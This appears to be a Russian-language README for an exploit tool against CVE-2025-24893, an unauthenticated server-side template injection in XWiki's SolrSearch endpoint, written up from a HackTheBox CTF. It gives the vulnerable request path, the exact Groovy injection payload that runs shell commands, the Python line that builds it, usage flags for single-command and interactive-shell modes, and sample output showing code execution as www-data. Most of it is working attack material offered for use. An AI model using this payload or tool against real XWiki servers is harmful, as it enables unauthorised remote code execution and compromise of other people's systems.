
CVE-2025-24893 – XWiki SSTI неаутентифицированный RCE эксплойт (HackTheBox CTF)
| Поле | Детали |
|---|
| CVE | CVE-2025-24893 |
| Программное обеспечение | XWiki |
| Уязвимость | Серверная инъекция шаблонов (SSTI) → RCE |
| Аутентификация | Не требуется |
| Оценка CVSS | Критический |
| Контекст | Обнаружено во время CTF на HackTheBox |
XWiki предоставляет конечную точку SolrSearch (/xwiki/bin/get/Main/SolrSearch), которая обрабатывает вводимые пользователем данные через шаблонизатор Groovy без санитизации. Неаутентифицированный злоумышленник может внедрить выражение Groovy через параметр запроса text, что приводит к удаленному выполнению кода на сервере.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
Параметр text встраивается непосредственно в контекст макроса XWiki и обрабатывается движком Groovy. Инъекция выходит из контекста шаблона с помощью }}} и открывает блок {{async}}{{groovy}}:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
Вывод отражается в теле RSS-ответа и может быть извлечен с помощью регулярных выражений.
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
Ответ в формате XML/RSS — вывод команды появляется между маркерами [}}} и ]</ с HTML-закодированными символами.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| Флаг | Описание |
|---|---|
-t | Целевой хост или IP |
-p | Порт (по умолчанию: 80) |
-s | Использовать HTTPS |
-i | Интерактивный режим оболочки |
-c | Выполнение одной команды |
-v | Подробный вывод |
# Одиночная команда
python3 exploit.py -t wiki.target.htb -c "id"
# Интерактивная оболочка
python3 exploit.py -t wiki.target.htb -i
# HTTPS на пользовательском порту
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)